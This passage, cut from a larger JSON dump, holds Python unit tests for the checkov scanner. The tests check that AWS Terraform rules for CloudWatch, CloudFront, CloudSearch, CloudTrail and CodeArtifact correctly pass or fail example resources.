    "path": "tests/terraform/checks/resource/aws/test_CloudWatchAlarmsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudWatchAlarmsEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudWatchAlarmsEnabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudWatchAlarmsEnabled\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudwatch_metric_alarm.pass\",\n            \"aws_cloudwatch_metric_alarm.pass2\",\n\n        }\n        failing_resources = {\n            \"aws_cloudwatch_metric_alarm.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudWatchLogGroupKMSKey.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudWatchLogGroupKMSKey import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudWatchLogGroupKMSKey(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudWatchLogGroupKMSKey\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudwatch_log_group.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudwatch_log_group.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudWatchLogGroupRetention.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudWatchLogGroupRetention import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudWatchLogGroupRetention(unittest.TestCase): \n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudWatchLogGroupRetention\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudwatch_log_group.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudwatch_log_group.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudWatchLogGroupRetentionYear.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudWatchLogGroupRetentionYear import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudWatchLogGroupRetentionYear(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudWatchLogGroupRetentionYear\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudwatch_log_group.pass_365\",\n            \"aws_cloudwatch_log_group.pass_0\",\n        }\n        failing_resources = {\n            \"aws_cloudwatch_log_group.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 4)  # 1 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudformationStackNotificationArns.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.CloudformationStackNotificationArns import check\n\n\nclass TestCloudformationStackNotificationArns(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_cloudformation_stack\" \"default\" {\n                  name = \"networking-stack\"\n                \n                  parameters = {\n                    VPCCidr = \"10.0.0.0/16\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_cloudformation_stack']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_cloudformation_stack\" \"default\" {\n                  name = \"networking-stack\"\n                \n                  parameters = {\n                    VPCCidr = \"10.0.0.0/16\"\n                  }\n                  notification_arns = [\"arn1\", \"arn2\"]\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_cloudformation_stack']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudfrontDistributionDefaultRoot.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudfrontDistributionDefaultRoot import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudfrontDistributionDefaultRoot(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudfrontDistributionDefaultRoot\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudfront_distribution.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudfront_distribution.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudfrontDistributionEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudfrontDistributionEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudfrontDistributionEnabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudfrontDistributionEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudfront_distribution.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudfront_distribution.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudfrontDistributionEncryption.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.CloudfrontDistributionEncryption import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCloudfrontDistributionEncryption(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'origin': [\n            {'domain_name': ['${aws_s3_bucket.b.bucket_regional_domain_name}'], 'origin_id': ['${local.s3_origin_id}'],\n             's3_origin_config': [{'origin_access_identity': ['origin-access-identity/cloudfront/ABCDEFG1234567']}]}],\n            'enabled': [True], 'is_ipv6_enabled': [True], 'comment': ['Some comment'],\n            'default_root_object': ['index.html'], 'logging_config': [\n                {'include_cookies': [False], 'bucket': ['mylogs.s3.amazonaws.com'], 'prefix': ['myprefix']}],\n            'aliases': [['mysite.example.com', 'yoursite.example.com']], 'ordered_cache_behavior': [\n                {'path_pattern': ['/content/immutable/*'], 'allowed_methods': [['GET', 'HEAD', 'OPTIONS']],\n                 'cached_methods': [['GET', 'HEAD', 'OPTIONS']], 'target_origin_id': ['${local.s3_origin_id}'],\n                 'forwarded_values': [\n                     {'query_string': [False], 'headers': [['Origin']], 'cookies': [{'forward': ['none']}]}],\n                 'min_ttl': [0], 'default_ttl': [86400], 'max_ttl': [31536000], 'compress': [True],\n                 'viewer_protocol_policy': ['redirect-to-https']},\n                {'path_pattern': ['/content/*'], 'allowed_methods': [['GET', 'HEAD', 'OPTIONS']],\n                 'cached_methods': [['GET', 'HEAD']], 'target_origin_id': ['${local.s3_origin_id}'],\n                 'forwarded_values': [{'query_string': [False], 'cookies': [{'forward': ['none']}]}], 'min_ttl': [0],\n                 'default_ttl': [3600], 'max_ttl': [86400], 'compress': [True],\n                 'viewer_protocol_policy': ['redirect-to-https']}], 'price_class': ['PriceClass_200'], 'restrictions': [\n                {'geo_restriction': [{'restriction_type': ['whitelist'], 'locations': [['US', 'CA', 'GB', 'DE']]}]}],\n            'viewer_certificate': [{'cloudfront_default_certificate': [True]}], 'default_cache_behavior': [\n                {'allowed_methods': [['DELETE', 'GET', 'HEAD', 'OPTIONS', 'PATCH', 'POST', 'PUT']],\n                 'cached_methods': [['GET', 'HEAD']], 'target_origin_id': ['${local.s3_origin_id}'],\n                 'forwarded_values': [{'query_string': [False], 'cookies': [{'forward': ['none']}]}],\n                 'viewer_protocol_policy': ['allow-all'], 'min_ttl': [0], 'default_ttl': [3600], 'max_ttl': [86400]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'origin': [\n            {'domain_name': ['${aws_s3_bucket.b.bucket_regional_domain_name}'], 'origin_id': ['${local.s3_origin_id}'],\n             's3_origin_config': [{'origin_access_identity': ['origin-access-identity/cloudfront/ABCDEFG1234567']}]}],\n            'enabled': [True], 'is_ipv6_enabled': [True], 'comment': ['Some comment'],\n            'default_root_object': ['index.html'], 'logging_config': [\n                {'include_cookies': [False], 'bucket': ['mylogs.s3.amazonaws.com'], 'prefix': ['myprefix']}],\n            'aliases': [['mysite.example.com', 'yoursite.example.com']], 'ordered_cache_behavior': [\n                {'path_pattern': ['/content/immutable/*'], 'allowed_methods': [['GET', 'HEAD', 'OPTIONS']],\n                 'cached_methods': [['GET', 'HEAD', 'OPTIONS']], 'target_origin_id': ['${local.s3_origin_id}'],\n                 'forwarded_values': [\n                     {'query_string': [False], 'headers': [['Origin']], 'cookies': [{'forward': ['none']}]}],\n                 'min_ttl': [0], 'default_ttl': [86400], 'max_ttl': [31536000], 'compress': [True],\n                 'viewer_protocol_policy': ['redirect-to-https']},\n                {'path_pattern': ['/content/*'], 'allowed_methods': [['GET', 'HEAD', 'OPTIONS']],\n                 'cached_methods': [['GET', 'HEAD']], 'target_origin_id': ['${local.s3_origin_id}'],\n                 'forwarded_values': [{'query_string': [False], 'cookies': [{'forward': ['none']}]}], 'min_ttl': [0],\n                 'default_ttl': [3600], 'max_ttl': [86400], 'compress': [True],\n                 'viewer_protocol_policy': ['redirect-to-https']}], 'price_class': ['PriceClass_200'], 'restrictions': [\n                {'geo_restriction': [{'restriction_type': ['whitelist'], 'locations': [['US', 'CA', 'GB', 'DE']]}]}],\n            'viewer_certificate': [{'cloudfront_default_certificate': [True]}], 'default_cache_behavior': [\n                {'allowed_methods': [['DELETE', 'GET', 'HEAD', 'OPTIONS', 'PATCH', 'POST', 'PUT']],\n                 'cached_methods': [['GET', 'HEAD']], 'target_origin_id': ['${local.s3_origin_id}'],\n                 'forwarded_values': [{'query_string': [False], 'cookies': [{'forward': ['none']}]}],\n                 'viewer_protocol_policy': ['redirect-to-https'], 'min_ttl': [0], 'default_ttl': [3600],\n                 'max_ttl': [86400]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudfrontDistributionLogging.py",
    "content": "import os\nimport unittest\n\nimport pytest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudfrontDistributionLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudfrontDistributionLogging(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {\n            \"comment\": \"Example\",\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {\n            \"comment\": \"Example\",\n            \"logging_config\": [\n                {\n                    \"bucket\": \"some-arn\"\n                }\n            ],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    @pytest.mark.skip(\"Need to handle null variables\")\n    def test_null_var_651(self):\n        self.skipTest(\"Need to handle null variables\")\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir,\n                                      \"../../../parser/resources/parser_scenarios/null_variables_651\")\n        valid_dir_path = os.path.normpath(valid_dir_path)\n        runner = Runner()\n        checks_allowlist = ['CKV_AWS_86']\n        report = runner.run(root_folder=valid_dir_path, external_checks_dir=None,\n                            runner_filter=RunnerFilter(framework='terraform', checks=checks_allowlist))\n        self.assertEqual(len(report.failed_checks), 1)\n        for record in report.failed_checks:\n            self.assertIn(record.check_id, checks_allowlist)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudfrontDistributionOriginFailover.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudfrontDistributionOriginFailover import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudfrontDistributionOriginFailover(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudfrontDistributionOriginFailover\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudfront_distribution.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudfront_distribution.fail\",\n            \"aws_cloudfront_distribution.fail2\",\n            \"aws_cloudfront_distribution.fail3\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudsearchDomainEnforceHttps.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudsearchDomainEnforceHttps import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudsearchEnforceHttps(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudsearchDomainEnforceHttps\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudsearch_domain.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudsearch_domain.fail\",\n            \"aws_cloudsearch_domain.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudsearchDomainTLS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudsearchDomainTLS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudsearchDomainTLS(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudsearchDomainTLS\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudsearch_domain.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudsearch_domain.fail\",\n            \"aws_cloudsearch_domain.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudtrailDefinesSNSTopic.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudtrailDefinesSNSTopic import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCCloudtrailDefinesSNSTopic(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudtrailDefinesSNSTopic\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudtrail.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudtrail.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudtrailEnableLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudtrailEnableLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudtrailEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudtrailEnableLogging\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudtrail.pass\",\n            \"aws_cloudtrail.pass2\",\n        }\n        failing_resources = {\n            \"aws_cloudtrail.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudtrailEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudtrailEncryptionWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudtrailEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudtrailEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudtrail.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudtrail.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudtrailEventDataStoreUsesCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CloudtrailEventDataStoreUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudtrailEventDataStoreUsesCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudtrailEventDataStoreUsesCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudtrail_event_data_store.pass\",\n        }\n        failing_resources = {\n            \"aws_cloudtrail_event_data_store.fail\",\n            \"aws_cloudtrail_event_data_store.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudtrailLogValidation.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.CloudtrailLogValidation import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCloudtrailLogValidation(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'enable_logging': [True], 's3_bucket_name': ['${foo}'],\n                         'is_multi_region_trail': [True], 'include_global_service_events': [True],\n                         'name': ['foo']}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'enable_logging': [True], 's3_bucket_name': ['${foo}'], 'enable_log_file_validation': [True],\n                         'is_multi_region_trail': [True], 'include_global_service_events': [True],\n                         'kms_key_id': ['${foo}'], 'name': ['foo']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CloudtrailMultiRegion.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.CloudtrailMultiRegion import check\n\n\nclass TestCloudtrailMultiRegion(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_cloudtrail\" \"foobar\" {\n                      name                          = \"tf-trail-foobar\"\n                      s3_bucket_name                = \"${aws_s3_bucket.foo.id}\"\n                      s3_key_prefix                 = \"prefix\"\n                      include_global_service_events = false\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_cloudtrail']['foobar']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_negative_multi_region(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_cloudtrail\" \"foobar\" {\n                      name                          = \"tf-trail-foobar\"\n                      s3_bucket_name                = \"${aws_s3_bucket.foo.id}\"\n                      s3_key_prefix                 = \"prefix\"\n                      include_global_service_events = false\n                      is_multi_region_trail  = false\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_cloudtrail']['foobar']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"aws_cloudtrail\" \"foobar\" {\n                      name                          = \"tf-trail-foobar\"\n                      s3_bucket_name                = \"${aws_s3_bucket.foo.id}\"\n                      s3_key_prefix                 = \"prefix\"\n                      include_global_service_events = false\n                      is_multi_region_trail  = true\n                    }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_cloudtrail']['foobar']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CodeArtifactDomainEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.CodeArtifactDomainEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCodeArtifactDomainEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CodeArtifactDomainEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_codeartifact_domain.pass\",\n        }\n        failing_resources = {\n            \"aws_codeartifact_domain.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 2)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_CodeBuildPrivilegedMode.py",
